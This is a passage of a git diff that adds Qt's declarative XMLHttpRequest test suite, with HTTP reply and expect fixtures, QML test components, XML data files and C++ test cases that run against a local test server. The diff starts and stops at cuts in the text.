+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.404.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.404.reply
new file mode 100644
index 00000000..2e29f56d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.404.reply
@@ -0,0 +1,3 @@
+HTTP/1.0 404 Document not found
+Connection: close
+Content-type: text/html; charset=UTF-8
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.expect
new file mode 100644
index 00000000..c6cad706
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.expect
@@ -0,0 +1,7 @@
+GET /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.qml
new file mode 100644
index 00000000..7aa08743
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/status.qml
@@ -0,0 +1,79 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+ property int expectedStatus
+
+ property bool unsentException: false;
+ property bool openedException: false;
+ property bool sentException: false;
+
+ property bool headersReceived: false
+ property bool loading: false
+ property bool done: false
+
+ property bool resetException: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ var a = x.status;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ unsentException = true;
+ }
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ try {
+ var a = x.status;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ openedException = true;
+ }
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ if (x.status == expectedStatus)
+ headersReceived = true;
+ } else if (x.readyState == XMLHttpRequest.LOADING) {
+ if (x.status == expectedStatus)
+ loading = true;
+ } else if (x.readyState == XMLHttpRequest.DONE) {
+ if (x.status == expectedStatus)
+ done = true;
+
+ if (expectedStatus == 404) {
+ dataOK = (x.responseText == "");
+ } else {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ try {
+ var a = x.status;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ resetException = true;
+ }
+
+ }
+ }
+
+ x.send()
+
+ try {
+ var a = x.status;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ sentException = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/statusText.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/statusText.qml
new file mode 100644
index 00000000..d42e0cca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/statusText.qml
@@ -0,0 +1,79 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+ property string expectedStatus
+
+ property bool unsentException: false;
+ property bool openedException: false;
+ property bool sentException: false;
+
+ property bool headersReceived: false
+ property bool loading: false
+ property bool done: false
+
+ property bool resetException: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ var a = x.statusText;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ unsentException = true;
+ }
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ try {
+ var a = x.statusText;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ openedException = true;
+ }
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ if (x.statusText == expectedStatus)
+ headersReceived = true;
+ } else if (x.readyState == XMLHttpRequest.LOADING) {
+ if (x.statusText == expectedStatus)
+ loading = true;
+ } else if (x.readyState == XMLHttpRequest.DONE) {
+ if (x.statusText == expectedStatus)
+ done = true;
+
+ if (expectedStatus != "OK") {
+ dataOK = (x.responseText == "");
+ } else {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ try {
+ var a = x.statusText;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ resetException = true;
+ }
+
+ }
+ }
+
+ x.send()
+
+ try {
+ var a = x.statusText;
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ sentException = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/testdocument.html b/tests/auto/declarative/qdeclarativexmlhttprequest/data/testdocument.html
new file mode 100644
index 00000000..8fe0f4b0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/testdocument.html
@@ -0,0 +1 @@
+QML Rocks!
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/text.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/text.qml
new file mode 100644
index 00000000..e8c87312
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/text.qml
@@ -0,0 +1,129 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool xmlTest: false
+ property bool dataOK: false
+
+ function checkText(text, whitespacetext)
+ {
+ if (text == null)
+ return;
+
+ if (text.nodeName != "#text")
+ return;
+
+ if (text.nodeValue != "Hello world!")
+ return;
+
+ if (text.nodeType != 3)
+ return;
+
+ if (text.parentNode.nodeName != "item")
+ return;
+
+ if (text.childNodes.length != 0)
+ return;
+
+ if (text.firstChild != null)
+ return;
+
+ if (text.lastChild != null)
+ return;
+
+ if (text.previousSibling != null)
+ return;
+
+ if (text.nextSibling != null)
+ return;
+
+ if (text.attributes != null)
+ return;
+
+ if (text.wholeText != "Hello world!")
+ return;
+
+ if (text.data != "Hello world!")
+ return;
+
+ if (text.length != 12)
+ return;
+
+ if (text.isElementContentWhitespace != false)
+ return;
+
+ if (whitespacetext.nodeName != "#text")
+ return;
+
+ if (whitespacetext.nodeValue != " ")
+ return;
+
+ if (whitespacetext.nodeType != 3)
+ return;
+
+ if (whitespacetext.parentNode.nodeName != "item")
+ return;
+
+ if (whitespacetext.childNodes.length != 0)
+ return;
+
+ if (whitespacetext.firstChild != null)
+ return;
+
+ if (whitespacetext.lastChild != null)
+ return;
+
+ if (whitespacetext.previousSibling != null)
+ return;
+
+ if (whitespacetext.nextSibling != null)
+ return;
+
+ if (whitespacetext.attributes != null)
+ return;
+
+ if (whitespacetext.wholeText != " ")
+ return;
+
+ if (whitespacetext.data != " ")
+ return;
+
+ if (whitespacetext.length != 3)
+ return;
+
+ if (whitespacetext.isElementContentWhitespace != true)
+ return;
+
+ xmlTest = true;
+ }
+
+ function checkXML(document)
+ {
+ checkText(document.documentElement.childNodes[0].childNodes[0],
+ document.documentElement.childNodes[1].childNodes[0]);
+
+ }
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "text.xml");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+
+ dataOK = true;
+
+ if (x.responseXML != null)
+ checkXML(x.responseXML);
+
+ }
+ }
+
+ x.send()
+ }
+}
+
+
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/text.xml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/text.xml
new file mode 100644
index 00000000..e7416888
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/text.xml
@@ -0,0 +1 @@
+<root><item>Hello world!</item><item> </item></root>
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.html b/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.html
new file mode 100644
index 00000000..b640733f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.html
@@ -0,0 +1 @@
+უ Σ
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.qml
new file mode 100644
index 00000000..0f9da309
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool dataOK: false
+
+ property string fileName
+ property string responseText
+ property string responseXmlRootNodeValue
+
+ function startRequest() {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", fileName);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+
+ responseText = x.responseText
+ if (x.responseXML)
+ responseXmlRootNodeValue = x.responseXML.documentElement.childNodes[0].nodeValue
+
+ dataOK = true;
+ }
+ }
+ x.send()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.xml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.xml
new file mode 100644
index 00000000..0fbb126e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/utf16.xml
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/qdeclarativexmlhttprequest.pro b/tests/auto/declarative/qdeclarativexmlhttprequest/qdeclarativexmlhttprequest.pro
new file mode 100644
index 00000000..4b5bf6eb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/qdeclarativexmlhttprequest.pro
@@ -0,0 +1,21 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative network
+macx:CONFIG -= app_bundle
+
+INCLUDEPATH += ../shared/
+HEADERS += ../shared/testhttpserver.h
+
+SOURCES += tst_qdeclarativexmlhttprequest.cpp \
+ ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/tst_qdeclarativexmlhttprequest.cpp b/tests/auto/declarative/qdeclarativexmlhttprequest/tst_qdeclarativexmlhttprequest.cpp
new file mode 100644
index 00000000..879910dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/tst_qdeclarativexmlhttprequest.cpp
@@ -0,0 +1,1129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include <QNetworkCookieJar>
+#include "testhttpserver.h"
+#include "../../../shared/util.h"
+
+#define SERVER_PORT 14445
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativexmlhttprequest : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativexmlhttprequest() {}
+
+private slots:
+ void domExceptionCodes();
+ void callbackException();
+ void callbackException_data();
+ void staticStateValues();
+ void instanceStateValues();
+ void constructor();
+ void defaultState();
+ void open();
+ void open_data();
+ void open_invalid_method();
+ void open_sync();
+ void open_arg_count();
+ void setRequestHeader();
+ void setRequestHeader_unsent();
+ void setRequestHeader_illegalName_data();
+ void setRequestHeader_illegalName();
+ void setRequestHeader_sent();
+ void setRequestHeader_args();
+ void send_unsent();
+ void send_alreadySent();
+ void send_ignoreData();
+ void send_withdata();
+ void send_withdata_data();
+ void abort();
+ void abort_unsent();
+ void abort_opened();
+ void getResponseHeader();
+ void getResponseHeader_unsent();
+ void getResponseHeader_sent();
+ void getResponseHeader_args();
+ void getAllResponseHeaders();
+ void getAllResponseHeaders_unsent();
+ void getAllResponseHeaders_sent();
+ void getAllResponseHeaders_args();
+ void status();
+ void status_data();
+ void statusText();
+ void statusText_data();
+ void responseText();
+ void responseText_data();
+ void responseXML_invalid();
+ void invalidMethodUsage();
+ void redirects();
+ void nonUtf8();
+ void nonUtf8_data();
+
+ // Attributes
+ void document();
+ void element();
+ void attr();
+ void text();
+ void cdata();
+
+ // Crashes
+ // void outstanding_request_at_shutdown();
+
+ // void network_errors()
+ // void readyState()
+
+private:
+ QDeclarativeEngine engine;
+};
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename);
+}
+
+// Test that the dom exception codes are correct
+void tst_qdeclarativexmlhttprequest::domExceptionCodes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("domExceptionCodes.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("index_size_err").toInt(), 1);
+ QCOMPARE(object->property("domstring_size_err").toInt(), 2);
+ QCOMPARE(object->property("hierarchy_request_err").toInt(), 3);
+ QCOMPARE(object->property("wrong_document_err").toInt(), 4);
+ QCOMPARE(object->property("invalid_character_err").toInt(), 5);
+ QCOMPARE(object->property("no_data_allowed_err").toInt(), 6);
+ QCOMPARE(object->property("no_modification_allowed_err").toInt(), 7);
+ QCOMPARE(object->property("not_found_err").toInt(), 8);
+ QCOMPARE(object->property("not_supported_err").toInt(), 9);
+ QCOMPARE(object->property("inuse_attribute_err").toInt(), 10);
+ QCOMPARE(object->property("invalid_state_err").toInt(), 11);
+ QCOMPARE(object->property("syntax_err").toInt(), 12);
+ QCOMPARE(object->property("invalid_modification_err").toInt(), 13);
+ QCOMPARE(object->property("namespace_err").toInt(), 14);
+ QCOMPARE(object->property("invalid_access_err").toInt(), 15);
+ QCOMPARE(object->property("validation_err").toInt(), 16);
+ QCOMPARE(object->property("type_mismatch_err").toInt(), 17);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::callbackException_data()
+{
+ QTest::addColumn<QString>("which");
+ QTest::addColumn<int>("line");
+
+ QTest::newRow("on-opened") << "1" << 15;
+ QTest::newRow("on-loading") << "3" << 15;
+ QTest::newRow("on-done") << "4" << 15;
+}
+
+void tst_qdeclarativexmlhttprequest::callbackException()
+{
+ // Test exception reporting for exceptions thrown at various points.
+
+ QFETCH(QString, which);
+ QFETCH(int, line);
+
+ QString expect = TEST_FILE("callbackException.qml").toString() + ":"+QString::number(line)+": Error: Exception from Callback";
+ QTest::ignoreMessage(QtWarningMsg, expect.toLatin1());
+
+ QDeclarativeComponent component(&engine, TEST_FILE("callbackException.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "testdocument.html");
+ object->setProperty("which", which);
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("threw").toBool() == true);
+
+ delete object;
+}
+
+// Test that the state value properties on the XMLHttpRequest constructor have the correct values.
+// ### WebKit does not do this, but it seems to fit the standard and QML better
+void tst_qdeclarativexmlhttprequest::staticStateValues()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("staticStateValues.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("unsent").toInt(), 0);
+ QCOMPARE(object->property("opened").toInt(), 1);
+ QCOMPARE(object->property("headers_received").toInt(), 2);
+ QCOMPARE(object->property("loading").toInt(), 3);
+ QCOMPARE(object->property("done").toInt(), 4);
+
+ delete object;
+}
+
+// Test that the state value properties on instances have the correct values.
+void tst_qdeclarativexmlhttprequest::instanceStateValues()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("instanceStateValues.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("unsent").toInt(), 0);
+ QCOMPARE(object->property("opened").toInt(), 1);
+ QCOMPARE(object->property("headers_received").toInt(), 2);
+ QCOMPARE(object->property("loading").toInt(), 3);
+ QCOMPARE(object->property("done").toInt(), 4);
+
+ delete object;
+}
+
+// Test calling constructor
+void tst_qdeclarativexmlhttprequest::constructor()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("constructor.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("calledAsConstructor").toBool(), true);
+ QCOMPARE(object->property("calledAsFunction").toBool(), true);
+
+ delete object;
+}
+
+// Test that all the properties are set correctly before any request is sent
+void tst_qdeclarativexmlhttprequest::defaultState()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("defaultState.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("readState").toInt(), 0);
+ QCOMPARE(object->property("statusIsException").toBool(), true);
+ QCOMPARE(object->property("statusTextIsException").toBool(), true);
+ QCOMPARE(object->property("responseText").toString(), QString());
+ QCOMPARE(object->property("responseXMLIsNull").toBool(), true);
+
+ delete object;
+}
+
+// Test valid XMLHttpRequest.open() calls
+void tst_qdeclarativexmlhttprequest::open()
+{
+ QFETCH(QUrl, qmlFile);
+ QFETCH(QString, url);
+ QFETCH(bool, remote);
+
+ TestHTTPServer *server = 0;
+ if (remote) {
+ server = new TestHTTPServer(SERVER_PORT);
+ QVERIFY(server->isValid());
+ QVERIFY(server->wait(TEST_FILE("open_network.expect"),
+ TEST_FILE("open_network.reply"),
+ TEST_FILE("testdocument.html")));
+ }
+
+ QDeclarativeComponent component(&engine, qmlFile);
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", url);
+ component.completeCreate();
+
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("openedState").toBool(), true);
+ QCOMPARE(object->property("status").toBool(), true);
+ QCOMPARE(object->property("statusText").toBool(), true);
+ QCOMPARE(object->property("responseText").toBool(), true);
+ QCOMPARE(object->property("responseXML").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete server;
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::open_data()
+{
+ QTest::addColumn<QUrl>("qmlFile");
+ QTest::addColumn<QString>("url");
+ QTest::addColumn<bool>("remote");
+
+ QTest::newRow("Relative url)") << TEST_FILE("open.qml") << "testdocument.html" << false;
+ QTest::newRow("Absolute url)") << TEST_FILE("open.qml") << TEST_FILE("testdocument.html").toString() << false;
+ QTest::newRow("Absolute network url)") << TEST_FILE("open.qml") << "http://127.0.0.1:14445/testdocument.html" << true;
+
+ // ### Check that the username/password were sent to the server
+ QTest::newRow("User/pass") << TEST_FILE("open_user.qml") << "http://127.0.0.1:14445/testdocument.html" << true;
+}
+
+// Test that calling XMLHttpRequest.open() with an invalid method raises an exception
+void tst_qdeclarativexmlhttprequest::open_invalid_method()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("open_invalid_method.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("exceptionThrown").toBool(), true);
+
+ delete object;
+}
+
+// Test that calling XMLHttpRequest.open() with sync raises an exception
+void tst_qdeclarativexmlhttprequest::open_sync()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("open_sync.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("exceptionThrown").toBool(), true);
+
+ delete object;
+}
+
+// Calling with incorrect arg count raises an exception
+void tst_qdeclarativexmlhttprequest::open_arg_count()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("open_arg_count.1.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("exceptionThrown").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("open_arg_count.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("exceptionThrown").toBool(), true);
+
+ delete object;
+ }
+}
+
+// Test valid setRequestHeader() calls
+void tst_qdeclarativexmlhttprequest::setRequestHeader()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("setRequestHeader.expect"),
+ TEST_FILE("setRequestHeader.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("setRequestHeader.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+// Test setting headers before open() throws exception
+void tst_qdeclarativexmlhttprequest::setRequestHeader_unsent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("setRequestHeader_unsent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::setRequestHeader_illegalName_data()
+{
+ QTest::addColumn<QString>("name");
+
+ QTest::newRow("Accept-Charset") << "AccePT-CHArset";
+ QTest::newRow("Accept-Encoding") << "AccEpt-EnCOding";
+ QTest::newRow("Connection") << "ConnECtion";
+ QTest::newRow("Content-Length") << "ContEnt-LenGth";
+ QTest::newRow("Cookie") << "CookIe";
+ QTest::newRow("Cookie2") << "CoOkie2";
+ QTest::newRow("Content-Transfer-Encoding") << "ConteNT-tRANSFER-eNCOding";
+ QTest::newRow("Date") << "DaTE";
+ QTest::newRow("Expect") << "ExPect";
+ QTest::newRow("Host") << "HoST";
+ QTest::newRow("Keep-Alive") << "KEEP-aLive";
+ QTest::newRow("Referer") << "ReferEr";
+ QTest::newRow("TE") << "Te";
+ QTest::newRow("Trailer") << "TraILEr";
+ QTest::newRow("Transfer-Encoding") << "tRANsfer-Encoding";
+ QTest::newRow("Upgrade") << "UpgrADe";
+ QTest::newRow("User-Agent") << "uSEr-Agent";
+ QTest::newRow("Via") << "vIa";
+ QTest::newRow("Proxy-") << "ProXy-";
+ QTest::newRow("Sec-") << "SeC-";
+ QTest::newRow("Proxy-*") << "Proxy-BLAH";
+ QTest::newRow("Sec-*") << "Sec-F";
+}
+
+// Tests that using illegal header names has no effect
+void tst_qdeclarativexmlhttprequest::setRequestHeader_illegalName()
+{
+ QFETCH(QString, name);
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("open_network.expect"),
+ TEST_FILE("open_network.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("setRequestHeader_illegalName.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ object->setProperty("header", name);
+ component.completeCreate();
+
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("openedState").toBool(), true);
+ QCOMPARE(object->property("status").toBool(), true);
+ QCOMPARE(object->property("statusText").toBool(), true);
+ QCOMPARE(object->property("responseText").toBool(), true);
+ QCOMPARE(object->property("responseXML").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+// Test that attempting to set a header after a request is sent throws an exception
+void tst_qdeclarativexmlhttprequest::setRequestHeader_sent()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("open_network.expect"),
+ TEST_FILE("open_network.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("setRequestHeader_sent.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+// Invalid arg count throws exception
+void tst_qdeclarativexmlhttprequest::setRequestHeader_args()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("setRequestHeader_args.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("exceptionThrown").toBool(), true);
+
+ delete object;
+}
+
+// Test that calling send() in UNSENT state throws an exception
+void tst_qdeclarativexmlhttprequest::send_unsent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("send_unsent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+// Test attempting to resend a sent request throws an exception
+void tst_qdeclarativexmlhttprequest::send_alreadySent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("send_alreadySent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+// Test that send for a GET or HEAD ignores data
+void tst_qdeclarativexmlhttprequest::send_ignoreData()
+{
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("send_ignoreData_GET.expect"),
+ TEST_FILE("send_ignoreData.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("send_ignoreData.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("reqType", "GET");
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+ }
+
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("send_ignoreData_PUT.expect"),
+ TEST_FILE("send_ignoreData.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("send_ignoreData.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("reqType", "HEAD");
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+ }
+}
+
+// Test that send()'ing data works
+void tst_qdeclarativexmlhttprequest::send_withdata()
+{
+ QFETCH(QString, file_expected);
+ QFETCH(QString, file_qml);
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE(file_expected),
+ TEST_FILE("send_data.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE(file_qml));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::send_withdata_data()
+{
+ QTest::addColumn<QString>("file_expected");
+ QTest::addColumn<QString>("file_qml");
+
+ QTest::newRow("No content-type") << "send_data.1.expect" << "send_data.1.qml";
+ QTest::newRow("Correct content-type") << "send_data.1.expect" << "send_data.2.qml";
+ QTest::newRow("Incorrect content-type") << "send_data.1.expect" << "send_data.3.qml";
+ QTest::newRow("Correct content-type - out of order") << "send_data.4.expect" << "send_data.4.qml";
+ QTest::newRow("Incorrect content-type - out of order") << "send_data.4.expect" << "send_data.5.qml";
+ QTest::newRow("PUT") << "send_data.6.expect" << "send_data.6.qml";
+ QTest::newRow("Correct content-type - no charset") << "send_data.1.expect" << "send_data.7.qml";
+}
+
+// Test abort() has no effect in unsent state
+void tst_qdeclarativexmlhttprequest::abort_unsent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("abort_unsent.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "testdocument.html");
+ component.completeCreate();
+
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("openedState").toBool(), true);
+ QCOMPARE(object->property("status").toBool(), true);
+ QCOMPARE(object->property("statusText").toBool(), true);
+ QCOMPARE(object->property("responseText").toBool(), true);
+ QCOMPARE(object->property("responseXML").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+// Test abort() cancels an open (but unsent) request
